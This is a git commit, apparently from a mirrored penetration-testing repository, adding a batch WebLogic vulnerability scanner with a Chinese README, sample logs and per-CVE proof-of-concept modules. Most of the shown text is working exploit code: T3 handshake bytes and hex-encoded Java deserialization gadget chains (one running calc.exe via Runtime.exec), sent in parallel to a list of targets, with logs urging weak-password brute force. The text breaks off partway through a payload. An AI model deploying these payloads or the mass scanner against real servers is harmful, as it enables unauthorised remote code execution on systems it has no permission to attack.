mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
upload about Weblogic
This commit is contained in:
mr-xn
parent
dd8e266065
commit
5150be44ae
98
WeblogicScanLot/README.md
Normal file
98
WeblogicScanLot/README.md
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
软件作者：Tide_RabbitMask
|
||||||
|
免责声明：Pia!(ｏ ‵-′)ノ”(ノ﹏<。)
|
||||||
|
本工具仅用于安全测试，请勿用于非法使用，要乖哦~
|
||||||
|
|
||||||
|
V2.2简介：
|
||||||
|
提供weblogic批量检测功能，收录几乎全部weblogic历史漏洞。
|
||||||
|
【没有遇到过weblogic批量检测工具的小朋友举起你的爪爪！】
|
||||||
|
|
||||||
|
PS：
|
||||||
|
综上:V2.*系列不是V1.*的升级版，只是多进程批量版本。
|
||||||
|
对于当个目标站点的检测，依然推荐您使用V1.*系列。
|
||||||
|
|
||||||
|
V 2.*系列特色：
|
||||||
|
1.多进程任务高效并发
|
||||||
|
2.简洁直观的监控界面
|
||||||
|
3.健全的日志记录功能
|
||||||
|
4.健全的异常处理机制
|
||||||
|
|
||||||
|
V 2.*功能详情：
|
||||||
|
#控制台路径泄露
|
||||||
|
Console
|
||||||
|
|
||||||
|
#SSRF：
|
||||||
|
CVE-2014-4210
|
||||||
|
|
||||||
|
#JAVA反序列化
|
||||||
|
CVE-2016-0638
|
||||||
|
CVE-2016-3510
|
||||||
|
CVE-2017-3248
|
||||||
|
CVE-2018-2628
|
||||||
|
CVE-2018-2893
|
||||||
|
CVE-2019-2725
|
||||||
|
CVE-2019-2729
|
||||||
|
|
||||||
|
#任意文件上传
|
||||||
|
CVE-2018-2894
|
||||||
|
|
||||||
|
#XMLDecoder反序列化
|
||||||
|
CVE-2017-3506
|
||||||
|
CVE-2017-10271
|
||||||
|
|
||||||
|
V 2.1更新日志：
|
||||||
|
系列重新定义为WeblogicScanLot版本。
|
||||||
|
新增大量成熟POC，与V1.3保持一致。
|
||||||
|
同样新版本完全舍弃Python2。
|
||||||
|
日志功能重构，更加健壮实用。
|
||||||
|
Kill旧版本window下多进程适应性BUG
|
||||||
|
|
||||||
|
V 2.2更新日志：
|
||||||
|
日志输出重做，之前的版本迁移导致日志并不适合作为批量扫描结果，
|
||||||
|
希望这次改动可以满足各位要求，如有bug issue继续安排~感谢！
|
||||||
|
|
||||||
|
|
||||||
|
【软件使用Demo】
|
||||||
|
【此处只提供了本机单机扫描demo，多线程实战场面太过血腥，请在家长陪同下自行体验】
|
||||||
|
|
||||||
|
#控制台：
|
||||||
|
=========================================================================
|
||||||
|
__ __ _ _ _ ____
|
||||||
|
\ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
|
||||||
|
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
|
||||||
|
\ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
|
||||||
|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
|
||||||
|
|___/
|
||||||
|
By Tide_RabbitMask | V 2.2
|
||||||
|
|
||||||
|
|
||||||
|
Welcome To WeblogicScan !!!
|
||||||
|
Whoami：rabbitmask.github.io
|
||||||
|
|
||||||
|
[*]任务加载成功，目标:127.0.0.1:7001
|
||||||
|
|
||||||
|
[*]任务检测完成，目标:127.0.0.1:7001
|
||||||
|
|
||||||
|
>>>>>End of task
|
||||||
|
|
||||||
|
=========================================================================
|
||||||
|
|
||||||
|
#日志文件：
|
||||||
|
=========================================================================
|
||||||
|
|
||||||
|
2019-07-28 14:57:48,702 [+]127.0.0.1:7001 console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp Please try weak password blasting!
|
||||||
|
2019-07-28 14:57:48,717 [+]127.0.0.1:7001 UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/ Please verify the SSRF vulnerability!
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_0638.
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_3510.
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2017_3248.
|
||||||
|
2019-07-28 14:57:48,725 [-]127.0.0.1:7001 not detected CVE-2017-3506.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE-2017-10271.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2628.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2893.
|
||||||
|
2019-07-28 14:57:48,735 [-]127.0.0.1:7001 not detected CVE-2018-2894.
|
||||||
|
2019-07-28 14:57:48,914 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2725.
|
||||||
|
2019-07-28 14:57:49,133 [+]And your current permission is:rabbitmask\rabbitmask.
|
||||||
|
2019-07-28 14:57:51,356 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2729.
|
||||||
|
2019-07-28 14:57:51,356 [+]And your current permission is:rabbitmask\rabbitmask.
|
||||||
|
|
||||||
|
|
||||||
|
=========================================================================
|
||||||
14
WeblogicScanLot/Weblogic.log
Normal file
14
WeblogicScanLot/Weblogic.log
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
2019-07-28 14:57:48,702 [+]127.0.0.1:7001 console address is exposed! The path is: http://127.0.0.1:7001/console/login/LoginForm.jsp Please try weak password blasting!
|
||||||
|
2019-07-28 14:57:48,717 [+]127.0.0.1:7001 UDDI module is exposed! The path is: http://127.0.0.1:7001/uddiexplorer/ Please verify the SSRF vulnerability!
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_0638.
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2016_3510.
|
||||||
|
2019-07-28 14:57:48,717 [-]127.0.0.1:7001 not detected CVE_2017_3248.
|
||||||
|
2019-07-28 14:57:48,725 [-]127.0.0.1:7001 not detected CVE-2017-3506.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE-2017-10271.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2628.
|
||||||
|
2019-07-28 14:57:48,731 [-]127.0.0.1:7001 not detected CVE_2018_2893.
|
||||||
|
2019-07-28 14:57:48,735 [-]127.0.0.1:7001 not detected CVE-2018-2894.
|
||||||
|
2019-07-28 14:57:48,914 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2725.
|
||||||
|
2019-07-28 14:57:49,133 [+]And your current permission is:rabbitmask\rabbitmask.
|
||||||
|
2019-07-28 14:57:51,356 [+]127.0.0.1:7001 has a JAVA deserialization vulnerability:CVE-2019-2729.
|
||||||
|
2019-07-28 14:57:51,356 [+]And your current permission is:rabbitmask\rabbitmask.
|
||||||
137
WeblogicScanLot/WeblogicScanLot.py
Normal file
137
WeblogicScanLot/WeblogicScanLot.py
Normal file
@ -0,0 +1,137 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
from multiprocessing import Pool, Manager
|
||||||
|
import poc.Console
|
||||||
|
import poc.CVE_2014_4210
|
||||||
|
import poc.CVE_2016_0638
|
||||||
|
import poc.CVE_2016_3510
|
||||||
|
import poc.CVE_2017_3248
|
||||||
|
import poc.CVE_2017_3506
|
||||||
|
import poc.CVE_2017_10271
|
||||||
|
import poc.CVE_2018_2628
|
||||||
|
import poc.CVE_2018_2893
|
||||||
|
import poc.CVE_2018_2894
|
||||||
|
import poc.CVE_2019_2725
|
||||||
|
import poc.CVE_2019_2729
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
version = "2.2"
|
||||||
|
banner='''
|
||||||
|
__ __ _ _ _ ____
|
||||||
|
\ \ / /__| |__ | | ___ __ _(_) ___ / ___| ___ __ _ _ __
|
||||||
|
\ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __| \___ \ / __/ _` | '_ \
|
||||||
|
\ V V / __/ |_) | | (_) | (_| | | (__ ___) | (_| (_| | | | |
|
||||||
|
\_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |____/ \___\__,_|_| |_|
|
||||||
|
|___/
|
||||||
|
By Tide_RabbitMask | V {}
|
||||||
|
'''.format(version)
|
||||||
|
|
||||||
|
def board():
|
||||||
|
print (banner)
|
||||||
|
print('Welcome To WeblogicScan !!!\nWhoami：rabbitmask.github.io\n')
|
||||||
|
#懒得做交互了，大家自行变更path
|
||||||
|
path='ipresult.txt'
|
||||||
|
poolmana(path)
|
||||||
|
|
||||||
|
|
||||||
|
def poolmana(path):
|
||||||
|
p = Pool(10)
|
||||||
|
q = Manager().Queue()
|
||||||
|
fr = open(path, 'r')
|
||||||
|
rtar = fr.readlines()
|
||||||
|
fr.close()
|
||||||
|
for i in range(len(rtar)):
|
||||||
|
ruleip=re.compile('(.*?):')
|
||||||
|
rip =(ruleip.findall(rtar[i]))[0]
|
||||||
|
ruleport=re.compile(':(.*)')
|
||||||
|
rport=ruleport.findall(rtar[i])[0]
|
||||||
|
p.apply_async(work,args=(rip,rport,q,))
|
||||||
|
p.close()
|
||||||
|
p.join()
|
||||||
|
print('>>>>>End of task\n')
|
||||||
|
|
||||||
|
|
||||||
|
def work(rip,rport,q):
|
||||||
|
print ('[*]任务加载成功，目标:{}:{}\n'.format(rip,rport))
|
||||||
|
try:
|
||||||
|
poc.Console.run(rip, rport)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} console address not found.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2014_4210.run(rip,rport)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} not detected CVE_2014_4210.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2016_0638.run(rip,rport,0)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} not detected CVE_2016_0638.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2016_3510.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} not detected CVE_2016_3510.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2017_3248.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} not detected CVE_2017_3248.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2017_3506.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info ("[-]{}:{} not detected CVE_2017_3506.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2017_10271.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2017_10271.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2018_2628.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2018_2628.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2018_2893.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2018_2893.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2018_2894.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2018_2894.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2019_2725.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2019_2725.".format(rip,rport))
|
||||||
|
|
||||||
|
try:
|
||||||
|
poc.CVE_2019_2729.run(rip, rport, 0)
|
||||||
|
except:
|
||||||
|
logging.info("[-]{}:{} not detected CVE_2019_2729.".format(rip,rport))
|
||||||
|
|
||||||
|
print ('[*]任务检测完成，目标:{}:{}\n'.format(rip,rport))
|
||||||
|
q.put(rip)
|
||||||
|
|
||||||
|
def run():
|
||||||
|
board()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
run()
|
||||||
1
WeblogicScanLot/ipresult.txt
Normal file
1
WeblogicScanLot/ipresult.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
127.0.0.1:7001
|
||||||
36
WeblogicScanLot/poc/CVE_2014_4210.py
Normal file
36
WeblogicScanLot/poc/CVE_2014_4210.py
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
headers = {'user-agent': 'ceshi/0.0.1'}
|
||||||
|
|
||||||
|
def islive(ur,port):
|
||||||
|
url='http://' + str(ur)+':'+str(port)+'/uddiexplorer/'
|
||||||
|
r = requests.get(url, headers=headers)
|
||||||
|
return r.status_code
|
||||||
|
|
||||||
|
def run(url,port):
|
||||||
|
if islive(url,port)==200:
|
||||||
|
u='http://' + str(url)+':'+str(port)+'/uddiexplorer/'
|
||||||
|
logging.info('[+]{}:{} UDDI module is exposed! The path is: {} Please verify the SSRF vulnerability!'.format(url,port,u))
|
||||||
|
else:
|
||||||
|
logging.info("[-]{}:{} UDDI module default path does not exist!".format(url,port))
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
url = sys.argv[1]
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
run(url,port)
|
||||||
74
WeblogicScanLot/poc/CVE_2016_0638.py
Normal file
74
WeblogicScanLot/poc/CVE_2016_0638.py
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import logging
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2016-0638']
|
||||||
|
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
|
||||||
|
VER_SIG=['weblogic.jms.common.StreamMessageImpl']
|
||||||
|
|
||||||
|
def t3handshake(sock,server_addr):
|
||||||
|
sock.connect(server_addr)
|
||||||
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
||||||
|
time.sleep(1)
|
||||||
|
sock.recv(1024)
|
||||||
|
|
||||||
|
def buildT3RequestObject(sock,rport):
|
||||||
|
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||||
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
|
||||||
|
data3 = '1a7727000d3234322e323134'
|
||||||
|
data4 = '2e312e32353461863d1d0000000078'
|
||||||
|
for d in [data1,data2,data3,data4]:
|
||||||
|
sock.send(bytes.fromhex(d))
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
def sendEvilObjData(sock,data):
|
||||||
|
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||||
|
payload+=data
|
||||||
|
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||||
|
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
res = ''
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
res += sock.recv(4096)
|
||||||
|
time.sleep(0.1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return res
|
||||||
|
def checkVul(res,server_addr,index):
|
||||||
|
p=re.findall(VER_SIG[index], res, re.S)
|
||||||
|
a,b=server_addr
|
||||||
|
if len(p)>0:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index]))
|
||||||
|
|
||||||
|
def run(rip,rport,index):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(10)
|
||||||
|
server_addr = (rip, rport)
|
||||||
|
t3handshake(sock,server_addr)
|
||||||
|
buildT3RequestObject(sock,rport)
|
||||||
|
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||||
|
checkVul(rs,server_addr,index)
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
72
WeblogicScanLot/poc/CVE_2016_3510.py
Normal file
72
WeblogicScanLot/poc/CVE_2016_3510.py
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2016-3510']
|
||||||
|
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116